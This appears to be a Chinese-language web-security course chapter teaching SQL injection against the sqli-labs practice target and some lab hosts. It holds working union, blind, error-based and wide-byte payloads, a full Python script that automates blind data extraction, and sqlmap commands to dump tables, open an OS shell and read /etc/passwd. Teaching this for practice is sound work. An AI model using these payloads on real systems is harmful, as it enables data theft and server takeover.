第三章 常见的php漏洞集合
1.sql注入漏洞
0x01 注入介绍
1.什么是sql注入
用户输入的参数被当成sql语句在数据库里执行,这就是sql注入漏洞
2.sql注入的危害
sql注入轻则获取数据库信息,重则获取服务器权限。
0x02 搭建sqli-labs靶机
0.介绍
SQLI-LABS是学习SQLI的平台
sqli-labs下载链接:https://github.com/Audi-1/sqli-labs
环境:phpstudy+windows10
1.创建网站(注意php版本选择5.6)
2.打开根目录,上传sqlilab源码
3.解压到目录
4.修改网站根目录
5.打开网站
6.安装数据库
7.安装报错
检查如下文件D:\phpstudy_pro\WWW\sql.com\sqli-labs-master\sqli-labs-master\sql-connections\setup-db.php
第29行
以及错误 db-creds.inc: Access denied for user ‘root’@‘localhost’ (using password: NO)
发现是由于db-creds.inc中数据库root密码为空导致的报错
8.修改当前mysql的root密码,并重新刷新页面
9.安装完成,访问less-1
10.传入参数?id=1
11.修改文件(方便注入学习)
在less-1文件夹中的index.php中修改如下代码
浏览器访问查看效果
0x02 注入测试
01 介绍
我们刚刚说到的,sql注入是和数据库交互,所以我们在找注入点的时候一定要注意,这个地方有没有和数据库做交互?常见的数据库交互的位置在哪里?
02 案例
这里我们看到我们的less-1,我们发现除了提交?id=1之外,我们还可以提交其他的值
例如当我们提交 ?id=1*2,
我们会发现1*2被单引号包裹,并不会对数据库取值造成影响
但是如果我们这样提交?id=1*2'
,整个数据库就会报错
这是为什么呢?我们仔细看到sql语句
SELECT * FROM users WHERE id='1*2'' LIMIT 0,1
mysql在执行的时候发现语句的符号不匹配,在1*2前面为单引号,后面为双引号,出现了语法错误,也即是我们“不小心”提交的字符破坏了原本的sql语句,那我们能不能利用这个错误呢?
首先要让mysql错误消失,这里我们使用mysql的注释语句
# 与 --+ 分别代表mysql的单行注释
我们如果这样提交
(这里的%23为#号经过url编码后的结果)
看看效果 ?id=1*2’ --+
?id=1*2’ %23
发现都能够成功闭合sql语句,执行我们的自定义语句,导致sql注入的产生
0x03.如何判断sql注入?
判断注入的标准就是,我们输入的语句是否被sql数据库执行
一般我们会用到如下语句
- 1 and 1=1 (可能被WAF)
- 1 or sleep(1) (时间注入)(可能被WAF)
- 1 xor 1=1 (异或注入)
0x04 mysql系统变量与函数
mysql内置很多常见函数与变量,在sql注入中我们可能会用到,所以这里我们做一个简单介绍
如何具体查看变量呢?变量用@@变量名 来表示
show variables;
查询数据库的版本信息
select @@version;
一些常见的mysql函数
user(),version(),datadir()
查看mysql服务器版本
select version();
查看当前数据库当前用户
select user();
查看数据库位置(这个在之后我们会用得到)
select @@datadir;
当然还有查询所有的数据库
show databases;
查询当前的数据库
select database();
0x05 基础注入
从查数据库-查数据库中的表-查表中的字段-获取字段中的内容,既获取管理员密码
mysql在选中数据库后能不能获取到其他数据库的内容?
答案是可以的
同时table_schema 这个字段的值也是可以用函数来直接替换
1.查数据库
select database();
2.查数据库中的表
select table_name from information_schema.tables where table_schema = database();
也可以通过 group_concat() 函数把所有结果放在一个结果集中查询
http://117.167.136.242:8002/Less-1/?id=0%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema%20=%20database()--+
3.查表里的字段
select column_name from information_schema.columns where table_schema=database() and table_name = 'emails';
4.从表里面查找字段的内容
使用concat_ws可以把字段放在一块查询
从数据库里取N个字段,然后组合到一起用“,”分割显示,起初想到用CONCAT()来处理,好是麻烦,没想到在手册里居然有提到CONCAT_WS(),非常好用
select 1,2,concat_ws('~',id,email_id) from emails;
http://117.167.136.242:8002/Less-1/?id=0%27%20union%20select%201,2,concat_ws(%27~%27,id,email_id)%20from%20emails%20--+
5.测验内容
目标获取网站系统的管理员账号密码
http://rdctf.com:8000/challenges
注意这里最好用union all select
查表
http://117.167.136.244:28045/index/narticle.php?nid=-3099 union all select (select table_name from information_schema.tables where table_schema = database() limit 0,1),2 --+
同时也可以用group_concat()
http://117.167.136.244:28045/index/narticle.php?nid=-3099%20union%20all%20select%20(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),2%20--+
http://117.167.136.244:28045/index/narticle.php?nid=-3099 union all select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2 --+
0x06.其他注入类型
1.基于布尔型的盲注
即可以根据返回页面判断条件真假的注入
?id='1' and 1= 1 --
页面正常
?id='1' and 1= 2 --
页面出错
那么盲注是如何获取数据库数据呢?
首先获取数据库名,我们要先判断数据库长度,然后逐步获取
?id='0' or length(database())>8 --
在mysql数据库中执行如下,length() 为取字符串长度
在sql靶机测试如下,当length(database()) > 7
数据库成立,则页面显示正常,反之则无回显
猜数据库第一位字符,substr(database(),1,1) ,从第一位字符串开始取,取一位
把取到的这一位换成ascii,这样方便匹配
测试–查库名
?id=0' or ascii(substr(database(),1,1)) > 110 --
下面我们进行查表操作
在查表之前我们需要获取当前数据库中存在几个表
SELECT count(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA = database();
select 1 or 4 = (SELECT count(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA = database());
确认当前数据库中存在四个表
测试 or 4 = 正常 or 5 = 失败
测试完数据库表的个数后,测试第一个表的开头第一个字符,建议这里把数据库语句拆分理解
select (substr((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.tables where TABLE_SCHEMA ='security' limit 0,1),1,1));
select (ascii(substr((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.tables where TABLE_SCHEMA ='security' limit 0,1),1,1)));
?id='' or ascii(substr((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.tables where TABLE_SCHEMA ='security' limit 0,1),1,1)) = 101 --+
下面进行查字段长度操作
select '0' or 2 = (SELECT count(column_name) FROM INFORMATION_SCHEMA.columns where TABLE_SCHEMA = database() and table_name = 'emails');
select '0' or 3 = (SELECT count(column_name) FROM INFORMATION_SCHEMA.columns where TABLE_SCHEMA = database() and table_name = 'emails');
下面进行查字段名
select (SELECT column_name FROM INFORMATION_SCHEMA.columns where TABLE_SCHEMA ='security' and table_name = 'emails' limit 0,1);
select (ascii(substr((SELECT column_name FROM INFORMATION_SCHEMA.columns where TABLE_SCHEMA ='security' and table_name = 'emails' limit 0,1),1,1)));
select (ascii(substr((SELECT column_name FROM INFORMATION_SCHEMA.columns where TABLE_SCHEMA ='security' and table_name = 'emails' limit 0,1),2,1)));
查找表中的字段内容
首先判断字段内容的条数
SELECT count(`id`) FROM security.emails;
select (ascii(substr((SELECT `email_id` from security.emails limit 2,1),1,1)));
至此,整个基于布尔型的盲注的过程结束
https://www.tr0y.wang/2017/12/11/SqliLab/#Day8-Less8
from requests import get
def GuessDBLength():
print '[+]Guessing DBLength'
i = 0
while 1:
r = get("http://localhost/sqllab/Less-1/?id=0' or length(database())=%d--+" %i)
html = r.text
if 'Your Login name' in html:
print ' [-]The DatabaseNameLength is', i
return i
i+=1
def GuessDBName(length):
print '[+]Guessing DBName'
name = ''
for i in xrange(length):
for n in xrange(127):
r = get("http://localhost/sqllab/Less-1/?id=0' or ascii(SUBSTR(database(),%d,1))='%d'--+" %(i+1,n))
html = r.text
if 'Your Login name' in html:
name += chr(n)
print ' [-]', name
break
print ' [-]DBName is:', name
return name
def GuessTBsNum(name):
print '[+]Guessing Tables num'
i = 0
while 1:
r = get("http://localhost/sqllab/Less-1/?id=' or %d=(SELECT count(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA ='%s') --+" %(i,name))
html = r.text
if 'Your Login name' in html:
print ' [-]The Tables num is', i
break
i+=1
return i
def GuessTBNameLenth(n, name):
print '[+]Guessing TableName Length'
i = 1
while 1:
r = get("http://localhost/sqllab/Less-1/?id=' or ascii(SUBSTR((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.tables where TABLE_SCHEMA ='%s' limit %d,1),%d,1)) --+" %(name,n,i))
html = r.text
if 'Your Login name' not in html:
print ' [-]The TableName Lenth is', i-1
return i-1
i+=1
def GuessTBsNames(num, DBName):
TBsNames = []
for no in range(num):
name = ''
length = GuessTBNameLenth(no, DBName)
print ' [-]Guessing Table Name'
for i in xrange(length):
for n in xrange(127):
r = get("http://localhost/sqllab/Less-1/?id=' or ascii(SUBSTR((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA ='%s' limit %d,1),%d,1))='%d' --+" %(DBName,no,i+1,n))
html = r.text
if 'Your Login name' in html:
name += chr(n)
print ' [-]', name
break
TBsNames.append(name)
print ' [-]All Tables Names is:', TBsNames
return TBsNames
def GuessCLMNum(tname,dname):
print '[+]Guessing Colunms num'
i = 0
while 1:
r = get("http://localhost/sqllab/Less-1/?id=' or %d=(SELECT count(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME ='%s' and TABLE_SCHEMA='%s') --+" %(i,tname,dname))
html = r.text
if 'Your Login name' in html:
print ' [-]The Colunm num is', i
return i
i+=1
def GuessCLMLen(cnum, tname, dname):
i = 1
while 1:
r = get("http://localhost/sqllab/Less-1/?id=' or ascii(SUBSTR((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME ='%s' and TABLE_SCHEMA='%s' limit %d,1),%d,1)) --+" %(tname,dname,cnum,i))
html = r.text
if 'Your Login name' not in html:
print ' [-]The Colunm Lenth is', i-1
return i-1
i+=1
def GuessCLMName(DBName, TNames):
for tname in TNames:
print '[+]Guessing Colunms for', tname
CLMNames = []
for cnum in range(GuessCLMNum(tname,DBName)):
length = GuessCLMLen(cnum, tname, DBName)
name = ''
for i in xrange(length):
for n in xrange(127):
r = get("http://localhost/sqllab/Less-1/?id=' or ascii(SUBSTR((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME ='%s' and TABLE_SCHEMA='%s' limit %d,1),%d,1))='%d' --+" %(tname,DBName,cnum,i+1,n))
html = r.text
if 'Your Login name' in html:
name += chr(n)
print ' [-]', name
break
data = GuessDatas(DBName, tname, name)
CLMNames.append(name)
print ' [-]The Colunms are',CLMNames
def GuessDatasnum(dname, tname, cname):
i = 0
while 1:
r = get("http://localhost/sqllab/Less-1/?id=' or %d=(SELECT count(%s) FROM %s.%s) --+" %(i,cname,dname,tname))
html = r.text
if 'Your Login name' in html:
print ' [-]The Datas num is', i
return i
i+=1
def GuessDataLen(dname, tname, cname, n):
print ' [-]Guessing data length'
i = 1
while 1:
r = get("http://localhost/sqllab/Less-1/?id=' or ascii(SUBSTR((SELECT %s FROM %s.%s limit %d,1),%d,1)) --+" %(cname, dname, tname, n, i))
html = r.text
if 'Your Login name' not in html:
print ' [-]The Data Lenth is', i-1
return i-1
i+=1
def GuessDatas(dname, tname, cname):
datanum = GuessDatasnum(dname, tname, cname)
Data = []
for no in range(datanum):
length = GuessDataLen(dname, tname, cname, no)
print ' [-]Guessing data'
name = ''
for i in xrange(length):
for n in xrange(127):
while 1:
try:
r = get("http://localhost/sqllab/Less-1/?id=' or ascii(SUBSTR((SELECT %s FROM %s.%s limit %d,1),%d,1))='%d' --+" %(cname, dname, tname, no,i+1,n))
break
except:
print 'Relaxing...'
html = r.text
if 'Your Login name' in html:
name += chr(n)
print ' [-]', name
break
Data.append(name)
print ' [-]All Datas of %s is:' %cname, Data
return Data
DBLength = GuessDBLength()
DBName = GuessDBName(DBLength)
print
TBsNum = GuessTBsNum(DBName)
TBsNames = GuessTBsNames(TBsNum, DBName)
print
GuessCLMName(DBName, TBsNames)
print '[!]All Done!'
2.基于时间的盲注
即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
这里我们需要打开浏览器的控制台,点网络选项进行查看
?id=1' and sleep(5) --+
如何获取数据?其实很简单,就是在盲注的基础上加了个if语句
select 0 or If(ascii(substr(database(),1,1))=115,sleep(5),0);
这里不做过多讲解(基于盲注)
3.基于报错注入
即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
https://v0w.top/2018/08/03/MySQL%20%E6%8A%A5%E9%94%99%E6%B3%A8%E5%85%A5/#%E6%B3%A8%E5%85%A5%E8%AF%AD%E5%8F%A5
https://blog.csdn.net/whatday/article/details/63683187
01 floor()
RAND() in a WHERE clause is re-evaluated every time the WHERE is executed. You cannot use a column with RAND() values in an ORDER BY clause, because ORDER BY would evaluate the column multiple times. However, you can retrieve rows in random order like this:
官方文档中的意思是:在where语句中,where每执行一次,rand()函数就会被计算一次。rand()不能作为order by的条件字段,同理也不能作为group by的条件字段。
如下面的语句,由于rand()不能作为group by的条件字段所以报错
select 1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from users group by x)a);
02 extractvalue()
MySQL 5.1.5版本中添加了对XML文档进行查询和修改的函数,分别是ExtractValue()和UpdateXML()
因此在mysql 小于5.1.5中不能用ExtractValue和UpdateXML进行报错注入
EXTRACTVALUE (XML_document, XPath_string);
- 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
- 第二个参数:XPath_string (Xpath格式的字符串).
- 作用:从目标XML中返回包含所查询值的字符串
第二个参数都要求是符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里
select 1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
值得注意的是,updatexml()和extractvalue()一样,报错长度是有限制的,最长32位。(从最后一句测试,也可以看出)
03 updatexml()
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
0
另外,updatexml最多只能显示32位,需要配合SUBSTR
使用
updatexml(1,concat(0x7e,SUBSTR((SELECT f14g from f14g LIMIT 0,1),1,24),0x7e),1)
updatexml(1,concat(0x7e,(select substring(f14g,20) from f14g limit 0,1),0x7e),1)
04 NAME_CONST
name_const(name,value)
如果传入的参数不是常量也会报错
返回给定值。 当用来产生一个结果集合列时, name_const()促使该列使用给定名称。
利用的是表的字段名(列名)不允许重复,列名重复会报错,报错长度没有限制
select * from (select NAME_CONST(version(),0),NAME_CONST(version(),0))x;
select 1 and (select * from (select NAME_CONST(version(),0),NAME_CONST(version(),0))x);
4.宽字节注入
https://xz.aliyun.com/t/1719
宽字节注入主要是源于程序员设置数据库编码与PHP编码设置为不同的两个编码那么就有可能产生宽字节注入
例如说PHP的编码为 UTF-8
而MySql
的编码设置为了
SET NAMES 'gbk'
或是 SET character_set_client =gbk
,这样配置会引发编码转换从而导致的注入漏洞
在我们正常情况下使用addslashes
函数或是开启PHPGPC
(注:在php5.4已上已给删除
,并且需要说明特别说明一点,GPC无法过滤$_SERVER
提交的参数)时过滤GET、POST、COOKIE、REQUSET 提交的参数时,黑客们使用的预定义字符会给转义成添加反斜杠的字符串如下面的例子
单引号(')= (\')
双引号(") = (\")
反斜杠(\) = (\\)
假如这个网站有宽字节注入那么我们提交:
http://127.0.0.1/unicodeSqlTest?id=%df%27
这时,假如我们现在使用的是addslashes
来过滤,那么就会发生如下的转换过程
%df%27===(addslashes)===>%df%5c%27===(数据库GBK)===>運'
这里可能有一些人没看懂,我可以粗略的解释一下。
前端输入%df%27
时首先经过上面addslashes
函数转义变成了%df%5c%27
(%5c是反斜杠\
),之后在数据库查询前因为设置了GBK
编码,即是在汉字编码范围内两个字节都会给重新编码为一个汉字。然后MySQL服务器就会对查询语句进行GBK编码即是%df%5c
转换成了汉字運
,而单引号就逃逸了出来,从而造成了注入漏洞
http://117.167.136.242:8002/Less-32/?id=1%df%27 order by 3 --+
5.堆查询注入
0x07 sqlmap注入工具使用
1.sqlmap 安装
sqlmap 源码下载 https://github.com/sqlmapproject/sqlmap
python 环境安装 https://www.python.org/
将下载的SQLMAP安装包解压到文件夹sqlmap中,并拷贝到 “C:\Python27” 目录下 (C:\Python27 为你的python安装路径)
新建cmd快捷方式(C:\\windows\system32\cmd.exe)
新建快捷方式
运行sqlmap.py
2.sqlmap 使用
在使用之前需要认真的考虑一个问题,哪里可能是注入点?
https://parrotsec-cn.org/t/topic/834
https://www.cnblogs.com/hongfei/p/3872156.html
下面是简单教程(以mysql数据库为例)
01 判断注入点
sqlmap -u "http://117.167.136.244:28040/ajax.php?act=selgo" --data "tyid=1"
如果存在注入点即会爆出信息如下
02 列数据库信息
sqlmap -u "http://117.167.136.244:28040/ajax.php?act=selgo" --data "tyid=1" --dbs
03 查数据库里面的表
sqlmap -u "http://117.167.136.244:28040/ajax.php?act=selgo" --data "tyid=1" -D faka --tables
04 查表里面的字段
sqlmap -u "http://117.167.136.244:28040/ajax.php?act=selgo" --data "tyid=1" -D faka -T ayangw_config --columns
05 查字段里面的内容
sqlmap -u "http://117.167.136.244:28040/ajax.php?act=selgo" --data "tyid=1" -D faka -T ayangw_config -C 'ayangw_k,ayangw_v' --dump
3.sqlmap 使用-进阶
01 POST 注入 --data 为 post传入的参数
sqlmap -u "http://117.167.136.244:28040/ajax.php?act=selgo" --data "tyid=1"
02 查看权限
sqlmap -u "http://117.167.136.244:28023/ajax.php?act=selgo" --data "tyid=1" --is-dba
03 执行命令
(注意是dba权限)
sqlmap -u "http://117.167.136.244:28023/ajax.php?act=selgo" --data "tyid=1" --os-shell
04 文件读取
(注意是dba权限)
sqlmap -u "http://117.167.136.244:28023/ajax.php?act=selgo" --data "tyid=1" --file-read=/etc/passwd
05 tamper 绕waf
sqlmap.py -u"http://**.com/detail.php? id=16" –tamper "halfversionedmorekeywords.py"
2.XSS挑战
01 什么是xss
https://xz.aliyun.com/t/4507
https://prompt.ml/0 靶机
https://github.com/myxss/vulstudy